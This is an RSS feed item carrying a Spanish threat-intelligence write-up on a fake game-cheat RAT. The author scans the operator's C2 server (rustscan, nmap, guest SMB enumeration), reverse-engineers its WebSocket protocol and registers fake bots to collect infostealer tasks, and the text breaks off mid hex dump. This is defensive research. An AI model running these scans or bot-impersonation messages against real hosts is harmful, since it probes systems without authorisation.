<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Bajo el Teclado</title><link>https://pointedsec.github.io/tags/threat-intelligence/</link><description>Recent content on Bajo el Teclado</description><generator>Hugo -- gohugo.io</generator><language>es</language><managingEditor>adelcerrorodriguez@gmail.com (Andrés Del Cerro)</managingEditor><webMaster>adelcerrorodriguez@gmail.com (Andrés Del Cerro)</webMaster><copyright>© 2024 pointedsec</copyright><lastBuildDate>Mon, 12 Oct 2026 09:00:00 +0200</lastBuildDate><atom:link href="https://pointedsec.github.io/tags/threat-intelligence/index.xml" rel="self" type="application/rss+xml"/><item><title>Hablando con el C2: dentro del panel del falso «Valorant Skin Changer» (parte 2)</title><link>https://pointedsec.github.io/writeups/mops-to-panel-c2-parte-2/</link><pubDate>Mon, 12 Oct 2026 09:00:00 +0200</pubDate><author>adelcerrorodriguez@gmail.com (Andrés Del Cerro)</author><guid>https://pointedsec.github.io/writeups/mops-to-panel-c2-parte-2/</guid><description>Hablando con el C2: dentro del panel del falso «Valorant Skin Changer» (parte 2) TL;DR. La primera parte desmontó estáticamente el RAT: DLL sideloading sobre el GUP firmado de Notepad++, tres capas de cifrado de cadenas, inyección en un cmd.exe suspendido y un C2 propio en mops[.]to:408. Esta segunda parte da el salto al otro lado del cable: establecí una sesión real con el panel de comando y control, hablando su mismo idioma.</description><content:encoded><![CDATA[<h1 id="hablando-con-el-c2-dentro-del-panel-del-falso-valorant-skin-changer-parte-2">Hablando con el C2: dentro del panel del falso «Valorant Skin Changer» (parte 2)</h1>
<blockquote>
<p><strong>TL;DR.</strong> La <a href="/writeups/skin-changer-valorant-rat-mops-to/">primera parte</a> desmontó estáticamente el RAT: DLL sideloading sobre el GUP firmado de Notepad++, tres capas de cifrado de cadenas, inyección en un <code>cmd.exe</code> suspendido y un C2 propio en <code>mops[.]to:408</code>. Esta segunda parte da el salto al otro lado del cable: <strong>establecí una sesión real con el panel de comando y control, hablando su mismo idioma</strong>. Descubrí que el «canal de texto plano» era en realidad un <strong>WebSocket</strong> en el puerto 406, reconstruí el protocolo mensaje a mensaje usando los propios errores del servidor como oráculo, <strong>registré tres bots ficticios</strong> sin aportar ni un dato real y recibí <strong>tareas reales del operador</strong> (un infostealer llamado <code>Stealer</code> 1.0.1). Todo el tráfico salió por <strong>Tor</strong>, no se ejecutó nada de lo recibido y el propio panel terminó revelando sus debilidades de diseño.</p>
</blockquote>
<p><em>Fecha del análisis: 12 de octubre de 2026</em>
<em>Complementa a la parte 1: análisis estático de los tres stages</em></p>
<blockquote>
<p><strong>Nota sobre datos sensibles.</strong> Todas las direcciones IP y el dominio aparecen <strong>difuminados</strong> a propósito (<code>mops[.]to</code>, <code>45.91.202.xxx</code>), los datos de red del investigador se han omitido por completo y la información de geolocalización, ASN y proveedor se ha generalizado. No hay intención de facilitar el ataque a terceros: el objetivo es puramente técnico y defensivo.</p>
</blockquote>
<hr>
<h2 id="1-resumen-ejecutivo">1. Resumen ejecutivo</h2>
<p>La primera parte se resolvió con un descompilador. Esta no: aquí el trabajo consistió en <strong>establecer una sesión real con el panel de comando y control</strong>, hablando el mismo idioma que el malware, y documentar con evidencia byte a byte cómo se dedujo el protocolo.</p>
<p>Lo conseguido:</p>
<ul>
<li><strong>Descubrí y completé el protocolo de control:</strong> <em>handshake</em> WebSocket, saludo, registro, latido y recepción de tareas. El formato se <strong>verificó contra el servidor</strong>, no se dedujo a ciegas.</li>
<li><strong>Reconstruí la API HTTP del panel</strong> (rutas, parámetros y semántica de errores) usando los propios mensajes del servidor como oráculo.</li>
<li><strong>Registré tres bots ficticios</strong> con identificadores inventados, sin aportar ninguna credencial ni dato real.</li>
<li>El panel <strong>asignó una tarea real</strong> a esos bots: un infostealer llamado <code>Stealer</code>, versión <code>1.0.1</code>.</li>
<li>Localicé la <strong>ruta de descarga del payload</strong> (<code>/files?id=&lt;task_id&gt;</code>) y comprobé su estado: <strong>el binario no está subido en el servidor</strong>.</li>
</ul>
<p>Reglas que se respetaron durante todo el ejercicio: tráfico <strong>exclusivamente a través de Tor</strong>, <strong>cero datos reales</strong> de la máquina de análisis, <strong>espaciado generoso</strong> entre peticiones para no degradar el servicio del atacante y <strong>ejecución de nada</strong>: todo lo recibido se guardó y se mostró, nunca se ejecutó.</p>
<hr>
<h2 id="2-del-fichero-al-servidor">2. Del fichero al servidor</h2>
<p>El análisis estático dejaba una punta suelta: el RAT llama a un C2 en <code>mops[.]to</code>, puerto 408. La pregunta natural era qué hay al otro lado.</p>
<p>Lo primero que se descubre del dominio del atacante es que está siendo resuelto por <strong>Cloudflare</strong>. Por lo tanto, el primer deber es <strong>reportar la evidencia a Cloudflare</strong> y confiar en que dejen de prestar servicio a ese dominio en concreto. Nada impide que el atacante use otro dominio, pero como la dirección del C2 estaba <em>embebida</em> en el malware, tendrá que montar otra campaña distinta o buscarse un proveedor que no sea Cloudflare.</p>
<p>Tras un rato de investigación apareció la siguiente dirección, directamente en el VPS <strong>sin pasar por Cloudflare</strong> —es decir, la IP real detrás del proxy—:</p>






<pre tabindex="0"><code>Hostname: 45-91-202-xxx.netherlands-3.vps.ac
IP:       45.91.202.xxx</code></pre>
<p>Ese hallazgo es importante: Cloudflare oculta el origen, pero el propio proveedor de VPS deja un <em>hostname</em> descriptivo (<code>netherlands-3.vps.ac</code>) que delata la máquina. La infraestructura apunta a un VPS alquilado en <strong>Países Bajos</strong> (detalles de ASN y proveedor omitidos a propósito).</p>
<hr>
<h2 id="3-reconocimiento-de-la-infraestructura">3. Reconocimiento de la infraestructura</h2>
<h3 id="31-puertos-y-servicios">3.1 Puertos y servicios</h3>
<p>Un primer barrido con <code>rustscan</code> sobre el dominio confirmó que los puertos del C2 están abiertos y accesibles:</p>






<pre tabindex="0"><code>rustscan -a mops[.]to --ulimit 5000

Open 45.91.202.xxx:80
Open 45.91.202.xxx:135
Open 45.91.202.xxx:139
Open 45.91.202.xxx:443
Open 45.91.202.xxx:406
Open 45.91.202.xxx:408
Open 45.91.202.xxx:409
Open 45.91.202.xxx:445
Open 45.91.202.xxx:5985</code></pre>
<p>La coincidencia con el malware analizado es inmediata: el <strong>puerto 406</strong> es el encargado de la función de <em>checkserver</em> y el <strong>408</strong> es donde apunta el RAT. Pero además hay toda una superficie <strong>Windows</strong> expuesta (135/139/445 RPC y SMB, 5985 WinRM), algo poco habitual en un C2.</p>
<p>El siguiente paso fue fingerprintear los servicios:</p>






<pre tabindex="0"><code>nmap -p80,135,139,443,406,408,409,445,5985 -sCV 45.91.202.xxx -Pn -n -oN output.txt

Nmap scan report for 45.91.202.xxx
Host is up (0.041s latency).

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Golang net/http server
| fingerprint-strings:
|   FourOhFourRequest, GetRequest, HTTPOptions:
|     HTTP/1.0 200 OK
|     Date: Mon, 12 Oct 2026 17:02:21 GMT
|     Content-Length: 0
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   OfficeScan:
|     HTTP/1.1 400 Bad Request: missing required Host header
|_    Request: missing required Host header
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
406/tcp  open  websocket     Ogar agar.io server
408/tcp  open  prm-sm?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, ... SSLSessionReq, ... X11Probe:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   FourOhFourRequest:
|     HTTP/1.1 429 Too Many Requests
|     Content-Type: text/plain
|     Connection: close
|     Soso.
|   GetRequest:
|     HTTP/1.1 429 Too Many Requests
|     Content-Type: text/plain
|     Connection: close
|     Soso.
|   HTTPOptions, RTSPRequest:
|     HTTP/1.1 429 Too Many Requests
|     Content-Type: text/plain
|     Connection: close
|_    Soso.
409/tcp  open  prm-nm?
| fingerprint-strings:
|   DNSStatusRequestTCP, ... oracle-tns:
|     HTTP/1.1 400 Bad Request
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Content-Type: text/plain
|     Connection: close
|     found
|   GetRequest:
|     HTTP/1.1 404 Not Found
|     Content-Type: text/plain
|     Connection: close
|     found
|   HTTPOptions, RTSPRequest:
|     HTTP/1.1 404 Not Found
|     Content-Type: text/plain
|     Connection: close
|_    found
443/tcp  open  https?
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)</code></pre>
<p>Dos detalles llaman la atención ya en el reconocimiento:</p>
<ul>
<li>Nmap etiqueta el <strong>406</strong> como <code>websocket</code>. No es casualidad: es exactamente el canal de control del RAT.</li>
<li>El <strong>408</strong> responde <code>429 Too Many Requests</code> con el cuerpo literal <code>Soso.</code> a la primera tanda de peticiones: el limitador es muy agresivo y tiene una firma inequívoca (la misma palabra que vimos en la primera parte).</li>
</ul>
<h3 id="32-el-puerto-80-y-la-cabecera-host">3.2 El puerto 80 y la cabecera <code>Host</code></h3>
<p>El servidor del puerto 80 se comporta de forma extraña: es un <strong>servidor Go</strong> que exige la cabecera <code>Host</code>. Hacer un <code>curl</code> directo contra la IP cierra la conexión, pero basta con añadir un <code>Host</code> cualquiera para obtener una respuesta HTTP válida (vacía, pero válida):</p>






<pre tabindex="0"><code>GET / HTTP/1.1
Host: 127.0.0.1
-&gt;   HTTP/1.0 200 OK
     Content-Length: 0</code></pre>
<p>Es un comportamiento de servidor virtual (vhost) atado a un <code>Host</code> concreto. Sin el valor correcto no hay respuesta útil, lo que refuerza la idea de un panel privado y no de una web pública.</p>
<h3 id="33-superficie-windows-smb-rpc-y-winrm">3.3 Superficie Windows: SMB, RPC y WinRM</h3>
<p>El hallazgo más inesperado es que el atacante está sirviendo el C2 desde un <strong>Windows Server</strong>. Enumerando SMB con credenciales de invitado anónimas:</p>






<pre tabindex="0"><code>netexec smb 45.91.202.xxx -u &#39;guest&#39; -p &#39;&#39;

SMB   45.91.202.xxx  445  PAX-INTEL-NL-30  [*] Windows Server 2022 Build 20348 x64
                                           (name:PAX-INTEL-NL-30) (domain:pax-intel-nl-30)
                                           (signing:False) (SMBv1:None)
SMB   45.91.202.xxx  445  PAX-INTEL-NL-30  [-] pax-intel-nl-30\guest: STATUS_ACCOUNT_DISABLED</code></pre>
<p>La máquina es un <strong>Windows Server 2022</strong> con la firma SMB desactivada (<code>signing:False</code>) y WinRM expuesto. No se encontraron subdominios asociados y el SMB requería credenciales (la cuenta de invitado está deshabilitada). No se explotó nada de esta superficie: solo se documenta, porque confirma que el operador levanta su botnet sobre infraestructura Windows alquilada en la nube.</p>
<hr>
<h2 id="4-metodología-y-garantías-de-seguridad">4. Metodología y garantías de seguridad</h2>
<p>Antes de tocar el panel había que blindarse. Estas son las precauciones aplicadas:</p>
<table>
<thead>
<tr>
<th>Precaución</th>
<th>Cómo se aplicó</th>
</tr>
</thead>
<tbody>
<tr>
<td>No usar la IP real</td>
<td>Todo el tráfico sale por un SOCKS5 local de Tor (<code>127.0.0.1:9050</code>) con un único nodo de salida fijo por sesión</td>
</tr>
<tr>
<td>No filtrar información real</td>
<td>HWID, versión de Windows, nombre de usuario e identificador de bot <strong>inventados</strong> en todos los mensajes</td>
</tr>
<tr>
<td>No ejecutar cargas</td>
<td>Ningún binario descargado se ejecutó; todo se guardó en disco y se analizó como datos</td>
</tr>
<tr>
<td>No degradar el panel</td>
<td>Espaciado de 15 a 40 s entre peticiones, un solo mensaje por conexión WebSocket</td>
</tr>
<tr>
<td>No tocar la consola del operador</td>
<td>Solo se usaron rutas del protocolo del propio malware; no se intentó autenticación ni acceso al panel de administración</td>
</tr>
</tbody>
</table>
<h3 id="41-anonimato-verificado">4.1 Anonimato verificado</h3>






<pre tabindex="0"><code>IP directa de la máquina:     [oculta]
IP de salida con Tor:         [nodo de salida oculto]
IP de salida con nodo fijo:   [nodo de salida oculto]</code></pre>
<p>La IP del panel recibió siempre la del nodo Tor, nunca la de la máquina de análisis. El nombre de dominio se resuelve <strong>dentro</strong> de la red Tor, de modo que ni siquiera la resolución DNS sale de la máquina.</p>
<hr>
<h2 id="5-los-dos-canales-del-c2">5. Los dos canales del C2</h2>
<p>El análisis estático solo revelaba una plantilla de petición HTTP y daba la sensación de un único servicio. La realidad es que el C2 tiene <strong>dos servicios distintos</strong> en el mismo <em>host</em>, con funciones separadas:</p>
<table>
<thead>
<tr>
<th>Puerto</th>
<th>Servicio</th>
<th>Comportamiento observado</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>406/TCP</strong></td>
<td>WebSocket (HTTP upgrade)</td>
<td>Canal de control: saludo, registro, latido, tareas</td>
</tr>
<tr>
<td><strong>408/TCP</strong></td>
<td>HTTP plano, servidor escrito en Go</td>
<td>Consulta de tareas y descarga de <em>payloads</em></td>
</tr>
<tr>
<td><strong>409/TCP</strong></td>
<td>HTTP plano</td>
<td><code>404 Not found</code> a toda ruta probada; servicio sin uso aparente</td>
</tr>
<tr>
<td>80, 443/TCP</td>
<td>—</td>
<td>No aceptan conexión desde el nodo Tor (cerrados o filtrados)</td>
</tr>
</tbody>
</table>
<ul>
<li><strong>406 (WebSocket):</strong> es el canal vivo. Ahí ocurre todo el diálogo con el operador: el bot se anuncia, el panel le manda tareas y le exige mantener el latido.</li>
<li><strong>408 (HTTP):</strong> es el almacén. Ahí se consultan tareas y se descargan los binarios.</li>
</ul>
<p>Esa separación de responsabilidades (control por un lado, distribución por otro) es típica de paneles C2 modernos y explica por qué el análisis estático parecía describir un único endpoint.</p>
<hr>
<h2 id="6-cronología-del-descubrimiento">6. Cronología del descubrimiento</h2>
<p>Cada paso está respaldado por la respuesta literal del servidor.</p>
<h3 id="paso-1--el-endpoint-principal-no-habla-con-un-cliente-genérico">Paso 1 — El endpoint principal no habla con un cliente genérico</h3>
<p>La primera batería de peticiones contra el 408, con distintos <code>User-Agent</code>, produce siempre lo mismo:</p>






<pre tabindex="0"><code>GET /task/7571078989  (User-Agent: curl/8.5.0)
HTTP/1.1 403 Forbidden
Content-Type: text/plain
Transfer-Encoding: chunked

d
Access denied
0</code></pre>
<p>Con un <code>User-Agent</code> de Windows tampoco cuela. Y si se insiste, el panel responde:</p>






<pre tabindex="0"><code>HTTP/1.1 429 Too Many Requests
...
5
Soso.
0</code></pre>
<p><code>Soso.</code> es el cuerpo del <code>429</code>: una palabra de relleno del autor. Sirve como indicador de que el limitador de peticiones es <strong>muy agresivo</strong>: bastan unos pocos intentos seguidos para agotar el cupo.</p>
<p><strong>Conclusión del paso:</strong> el 408 está vivo, responde y filtra de forma deliberada. No es un servidor web genérico.</p>
<h3 id="paso-2--la-pista-que-lo-cambió-todo-un-426">Paso 2 — La pista que lo cambió todo: un 426</h3>
<p>Al mandar una petición HTTP normal al <strong>406</strong>, la respuesta fue:</p>






<pre tabindex="0"><code>HTTP/1.1 426 Upgrade Required
Content-Length: 16
Content-Type: text/plain

Upgrade Required</code></pre>
<p>El código <code>426</code> significa literalmente <em>«este endpoint no habla HTTP plano, habla WebSocket»</em>. Esa fue la hipótesis que abrió todo el análisis posterior. Lo que el análisis estático tomaba por un canal de texto plano con <code>checkserver;</code> es en realidad un <strong>servidor WebSocket</strong>, y el cliente lo implementa a mano sobre <code>ws2_32.dll</code>.</p>
<h3 id="paso-3--el-handshake-y-un-detalle-raro">Paso 3 — El handshake y un detalle raro</h3>






<pre tabindex="0"><code>-&gt; GET / HTTP/1.1
   Host: mops[.]to
   Upgrade: websocket
   Connection: Upgrade
   Sec-WebSocket-Key: rO1/veTp62ca+CjIosgA5w==
   Sec-WebSocket-Version: 13
   User-Agent: Windows 10 Pro

&lt;- HTTP/1.1 101 Switching Protocols
   Upgrade: websocket
   Connection: Upgrade
   Sec-WebSocket-Accept: FE2xLQ6j71bd3k185LoZWYlrd40=</code></pre>
<p>Lo interesante aparece <strong>antes</strong> de las cabeceras: al aceptar la conexión TCP, el servidor envía <strong>6 bytes nulos</strong> (<code>00 00 00 00 00 00</code>) y solo después responde al handshake. Un analizador ingenuo los interpreta como tramas WebSocket vacías (de hecho, los primeros scripts cayeron en ese error y las registraron como «tramas de continuación de 0 bytes»). Es una <strong>firma identificativa del panel</strong>.</p>
<h3 id="paso-4--el-latido-no-es-un-ping-de-websocket">Paso 4 — El latido no es un ping de WebSocket</h3>
<p>Tras el handshake, el servidor envía cada 15 segundos:</p>






<pre tabindex="0"><code>81 04 70 69 6e 67      -&gt;  opcode 0x1 (TEXTO), longitud 4, contenido &#34;ping&#34;</code></pre>
<p>El detalle técnico importante: <strong>es una trama de TEXTO con la palabra <code>ping</code>, no una trama de control WebSocket</strong> (que sería el opcode <code>0x89</code>). El latido está implementado como mensaje de aplicación, no con el mecanismo estándar del protocolo. El bot responde con otra trama de texto, <code>pong</code>, y el panel toleraba silenciosamente las ausencias (se mantuvo una sesión de más de 110 s con pings cada 15 s).</p>
<h3 id="paso-5--el-cierre-como-oráculo">Paso 5 — El cierre como oráculo</h3>
<p>En este punto se entendió que el panel <strong>cierra la conexión de inmediato</strong> cuando recibe un mensaje con formato inválido. Eso convierte cada intento en un experimento con resultado binario:</p>






<pre tabindex="0"><code>[ 2.25s] handshake: HTTP/1.1 101 Switching Protocols
[ 6.45s] -&gt; ENVIADO &#39;ready;&#39;
[ 6.73s] &lt;&lt;&lt; TRAMA CLOSE del servidor (0B)      &lt;-- RECHAZADO</code></pre>
<p>Y, en cambio:</p>






<pre tabindex="0"><code>[ 2.25s] handshake: HTTP/1.1 101 Switching Protocols
[ 6.46s] -&gt; ENVIADO &#39;ready;1.0.0&#39;
[ 8.15s] &lt;&lt;&lt; RESPUESTA: &#39;getinfo&#39;                &lt;-- ACEPTADO</code></pre>
<p><strong>El saludo del bot es <code>ready;</code> seguido de la versión.</strong> Sin versión, el panel te echa. Con <code>1.0.0</code> (la versión embebida en el binario), responde <code>getinfo</code>, pidiendo la huella de la máquina.</p>
<h3 id="paso-6--el-registro-y-la-asignación-de-tareas">Paso 6 — El registro y la asignación de tareas</h3>






<pre tabindex="0"><code>cliente -&gt; ready;1.0.0
panel   -&gt; getinfo
cliente -&gt; info;FAKEHWID-0000-0000-0000-ANALYSIS;Windows 10 Pro;analyst;1000000001
panel   -&gt; task;createtask;Stealer;task_id;custom_task;version;1.0.1
panel   -&gt; task;createtask;Stealer;task_id;nos3o3_txq1;version;1.0.1</code></pre>
<p>En menos de medio segundo desde el saludo, el panel ya asigna trabajo. <strong>No hay autenticación</strong>: el identificador de bot lo elige el cliente.</p>
<h3 id="paso-7--reconstruir-la-api-del-408-con-los-errores-del-servidor">Paso 7 — Reconstruir la API del 408 con los errores del servidor</h3>
<p>El servidor del 408 es un servicio en Go con mensajes de error tan específicos que funcionan como documentación. Cada ruta se fue destapando por sus propios errores:</p>






<pre tabindex="0"><code>GET /files          -&gt; 400  Bad request: missing file id
GET /files/Stealer  -&gt; 400  Bad request: missing file id     (el id NO va en la ruta)
GET /files?id=1     -&gt; 404  Task metadata not found
GET /task           -&gt; 400  Bad request: missing task name
GET /task/&lt;nombre&gt;  -&gt; 403  Access denied
GET /cualquiera     -&gt; 400  Bad request: unknown type</code></pre>
<p>De aquí se dedujo que:</p>
<ol>
<li>El identificador va en la <strong>query string</strong> (<code>?id=</code>), no como segmento de ruta.</li>
<li><code>/files</code> es la <strong>ruta de descarga</strong>.</li>
<li>La distinción entre <code>Task metadata not found</code> y <code>Uploaded file not found</code> revela la arquitectura interna del panel: primero busca la tarea en su base de datos y después el fichero en disco.</li>
</ol>
<h3 id="paso-8--el-veredicto-sobre-el-payload">Paso 8 — El veredicto sobre el payload</h3>
<p>La consulta decisiva, ya con los identificadores de tarea que el propio panel había repartido:</p>






<pre tabindex="0"><code>GET /files?id=custom_task
HTTP/1.1 404 Not Found
Content-Type: text/plain

Uploaded file not found</code></pre>






<pre tabindex="0"><code>GET /files?id=nos3o3_txq1
HTTP/1.1 404 Not Found
Content-Type: text/plain

Uploaded file not found</code></pre>
<p>El panel <strong>conoce las tareas</strong> (existen en su base de datos) pero <strong>no tiene los binarios</strong>. No es un problema de autorización: el fichero sencillamente no está subido. El operador dio de alta la tarea del infostealer y se la está difundiendo a toda la botnet, pero el producto todavía no ha llegado.</p>
<hr>
<h2 id="7-el-protocolo-documentado">7. El protocolo, documentado</h2>
<h3 id="71-flujo-de-control-completo-canal-406">7.1 Flujo de control completo (canal 406)</h3>






<pre tabindex="0"><code>   Bot                                    Panel
    |                                        |
    |  TCP connect (a través de Tor)         |
    |---------------------------------------&gt;|
    |&lt;------- 6 bytes 00 00 00 00 00 00      |  (preámbulo propio del panel)
    |  GET / HTTP/1.1 + Upgrade: websocket   |
    |---------------------------------------&gt;|
    |&lt;------- 101 Switching Protocols        |
    |  [trama texto] ready;1.0.0             |
    |---------------------------------------&gt;|
    |&lt;------- [trama texto] getinfo          |  &lt;-- el panel pide la huella
    |  [trama texto] info;hwid;os;user;id    |
    |---------------------------------------&gt;|
    |&lt;------- [trama texto] task;createtask; |
    |          Stealer;task_id;XXX;version;1.0.1
    |  GET /files?id=XXX  (canal 408)        |  &lt;-- descarga del payload
    |---------------------------------------&gt;|
    |&lt;------- (404 Uploaded file not found)  |  &lt;-- en este caso, no hay fichero
    |                                        |
    |&lt;------- [texto] ping   (cada 15 s)     |
    |  [trama texto] pong                    |
    |---------------------------------------&gt;|</code></pre>
<h3 id="72-catálogo-de-mensajes">7.2 Catálogo de mensajes</h3>
<table>
<thead>
<tr>
<th>Mensaje</th>
<th>Dirección</th>
<th>Formato</th>
<th>Significado</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>ready;</code> + versión</td>
<td>bot -&gt; panel</td>
<td><code>ready;1.0.0</code></td>
<td>Saludo. Sin versión, <strong>cierre inmediato</strong></td>
</tr>
<tr>
<td><code>getinfo</code></td>
<td>panel -&gt; bot</td>
<td><code>getinfo</code></td>
<td>Petición de huella de la máquina</td>
</tr>
<tr>
<td><code>info;</code></td>
<td>bot -&gt; panel</td>
<td><code>info;&lt;HWID&gt;;&lt;Windows&gt;;&lt;usuario&gt;;&lt;botid&gt;</code></td>
<td>Registro. Sin autenticación previa</td>
</tr>
<tr>
<td><code>task;</code></td>
<td>panel -&gt; bot</td>
<td><code>task;createtask;&lt;nombre&gt;;task_id;&lt;id&gt;;version;&lt;v&gt;</code></td>
<td>Asignación de tarea</td>
</tr>
<tr>
<td><code>ping</code></td>
<td>panel -&gt; bot</td>
<td>trama de <strong>texto</strong> (opcode 0x1)</td>
<td>Latido, cada 15 s</td>
</tr>
<tr>
<td><code>pong</code></td>
<td>bot -&gt; panel</td>
<td>trama de texto</td>
<td>Respuesta de latido</td>
</tr>
<tr>
<td><code>task_done;</code></td>
<td>bot -&gt; panel</td>
<td><code>task_done;&lt;tipo&gt;</code></td>
<td>Fin de tarea</td>
</tr>
<tr>
<td><code>closetask</code></td>
<td>panel -&gt; bot</td>
<td>id de tarea</td>
<td>Terminar una tarea en curso</td>
</tr>
<tr>
<td><code>update</code></td>
<td>panel -&gt; bot</td>
<td>vía <code>param</code></td>
<td>Autoactualización del bot</td>
</tr>
<tr>
<td><code>checkserver;</code></td>
<td>bot -&gt; panel</td>
<td><code>checkserver;00000;&lt;nonce15&gt;</code></td>
<td>Verificación de salud</td>
</tr>
</tbody>
</table>
<h3 id="73-api-del-panel-canal-408">7.3 API del panel (canal 408)</h3>
<table>
<thead>
<tr>
<th>Endpoint</th>
<th>Respuesta</th>
<th>Interpretación</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>GET /</code></td>
<td><code>400 Bad request: unknown type</code></td>
<td>Falta el parámetro <code>type</code></td>
</tr>
<tr>
<td><code>GET /task</code></td>
<td><code>400 Bad request: missing task name</code></td>
<td>Falta el nombre de tarea</td>
</tr>
<tr>
<td><code>GET /task/&lt;nombre&gt;</code></td>
<td><code>403 Access denied</code></td>
<td>Ruta existente, petición no autorizada</td>
</tr>
<tr>
<td><code>GET /files</code></td>
<td><code>400 Bad request: missing file id</code></td>
<td>Falta el identificador de fichero</td>
</tr>
<tr>
<td><code>GET /files?id=&lt;id&gt;</code></td>
<td><code>404 Task metadata not found</code></td>
<td>El panel no conoce ese id</td>
</tr>
<tr>
<td><code>GET /files?id=&lt;task_id&gt;</code></td>
<td><code>404 Uploaded file not found</code></td>
<td><strong>Tarea existente, payload sin subir</strong></td>
</tr>
<tr>
<td>Exceso de peticiones</td>
<td><code>429 Too Many Requests</code> / <code>Soso.</code></td>
<td>Limitador del panel</td>
</tr>
</tbody>
</table>
<hr>
<h2 id="8-las-tareas-que-reparte-el-panel">8. Las tareas que reparte el panel</h2>
<h3 id="81-registro-recopilado-en-todas-las-sesiones">8.1 Registro recopilado en todas las sesiones</h3>






<pre tabindex="0"><code>13:35:32 task;createtask;Stealer;task_id;custom_task;version;1.0.1
13:35:32 task;createtask;Stealer;task_id;nos3o3_txq1;version;1.0.1
13:36:07 task;createtask;Stealer;task_id;custom_task;version;1.0.1
13:36:07 task;createtask;Stealer;task_id;nos3o3_txq1;version;1.0.1
13:36:33 task;createtask;Stealer;task_id;custom_task;version;1.0.1
13:36:33 task;createtask;Stealer;task_id;nos3o3_txq1;version;1.0.1</code></pre>
<h3 id="82-análisis">8.2 Análisis</h3>
<ul>
<li><strong>Tareas distintas en toda la campaña: 2.</strong> Las seis líneas son las mismas dos tareas repetidas, una por cada bot ficticio registrado.</li>
<li><strong>Payload:</strong> <code>Stealer</code> (infostealer), versión <code>1.0.1</code>.</li>
<li><strong><code>custom_task</code></strong> es un identificador de plantilla, típico de una tarea de prueba o de ejemplo creada en la consola del panel.</li>
<li><strong><code>nos3o3_txq1</code></strong> tiene morfología de identificador generado (10 caracteres, mezcla de letras, dígitos y guion bajo), es decir una tarea real creada por el operador.</li>
<li><strong>Difusión indiscriminada:</strong> los tres bots ficticios (<code>1000000001</code>, <code>1000000002</code>, <code>1000000003</code>) recibieron exactamente la misma cola. El panel <strong>no filtra las tareas por destinatario</strong>.</li>
<li><strong>Sin estado por bot:</strong> la lista se repite íntegra en cada conexión; no hay tareas asignadas ni consumidas.</li>
</ul>
<h3 id="83-estado-de-cada-tarea">8.3 Estado de cada tarea</h3>
<table>
<thead>
<tr>
<th>task_id</th>
<th>Nombre</th>
<th>Versión</th>
<th>Metadatos</th>
<th>Fichero</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>custom_task</code></td>
<td>Stealer</td>
<td>1.0.1</td>
<td>Presentes</td>
<td><strong>No subido</strong></td>
</tr>
<tr>
<td><code>nos3o3_txq1</code></td>
<td>Stealer</td>
<td>1.0.1</td>
<td>Presentes</td>
<td><strong>No subido</strong></td>
</tr>
</tbody>
</table>
<hr>
<h2 id="9-evidencia-forense-byte-a-byte">9. Evidencia forense byte a byte</h2>
<h3 id="91-sesión-completa">9.1 Sesión completa</h3>






<pre tabindex="0"><code>  0.122  conexión establecida a 45.91.202.xxx:406 a través de Tor

  0.122  -&gt; CLIENTE    174 B  handshake WebSocket
            0000  47 45 54 20 2f 20 48 54 54 50 2f 31 2e 31 0d 0a  |GET / HTTP/1.1..|
            0010  48 6f 73 74 3a 20 2a 2a 2a 2a 2a 2a 2a 0d 0a 55  |Host: *******..U|
            0020  70 67 72 61 64 65 3a 20 77 65 62 73 6f 63 6b 65  |pgrade: websocke|
            0030  74 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55  |t..Connection: U|
            0040  70 67 72 61 64 65 0d 0a 53 65 63 2d 57 65 62 53  |pgrade..Sec-WebS|
            0050  6f 63 6b 65 74 2d 4b 65 79 3a 20 72 4f 31 2f 76  |ocket-Key: rO1/v|
            0060  65 54 70 36 32 63 61 2b 43 6a 49 6f 73 67 41 35  |eTp62ca+CjIosgA5|
            0070  77 3d 3d 0d 0a 53 65 63 2d 57 65 62 53 6f 63 6b  |w==..Sec-WebSock|
            0080  65 74 2d 56 65 72 73 69 6f 6e 3a 20 31 33 0d 0a  |et-Version: 13..|
            0090  55 73 65 72 2d 41 67 65 6e 74 3a 20 57 69 6e 64  |User-Agent: Wind|
            00a0  6f 77 73 20 31 30 20 50 72 6f 0d 0a 0d 0a        |ows 10 Pro....|

  0.123  &lt;- SERVIDOR      6 B
            0000  00 00 00 00 00 00                                |......|

  0.279  &lt;- SERVIDOR    129 B
            0000  48 54 54 50 2f 31 2e 31 20 31 30 31 20 53 77 69  |HTTP/1.1 101 Swi|
            0010  74 63 68 69 6e 67 20 50 72 6f 74 6f 63 6f 6c 73  |tching Protocols|
            0020  0d 0a 55 70 67 72 61 64 65 3a 20 77 65 62 73 6f  |..Upgrade: websoc|
            0030  63 6b 65 74 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e  |ket..Connection|
            0040  3a 20 55 70 67 72 61 64 65 0d 0a 53 65 63 2d 57  |: Upgrade..Sec-W|
            0050  65 62 53 6f 63 6b 65 74 2d 41 63 63 65 70 74 3a  |ebSocket-Accept:|
            0060  20 46 45 32 78 4c 51 36 6a 37 31 62 64 33 6b 31  | FE2xLQ6j71bd3k1|
            0070  38 35 4c 6f 5a 57 59 6c 72 64 34 30 3d 0d 0a 0d  |85LoZWYlrd40=..|
            0080  0a                                               |.|

  0.279  -&gt; CLIENTE     17 B  trama de texto: ready;1.0.0
            0000  81 8b c7 05 9b 06 b5 60 fa 62 be 3e aa 28 f7 2b  |.......`.b.&gt;.(.+|
            0010  ab                                               |.|

  0.479  &lt;- SERVIDOR    118 B
            0000  81 39 74 61 73 6b 3b 63 72 65 61 74 65 74 61 73  |.9task;createtas|
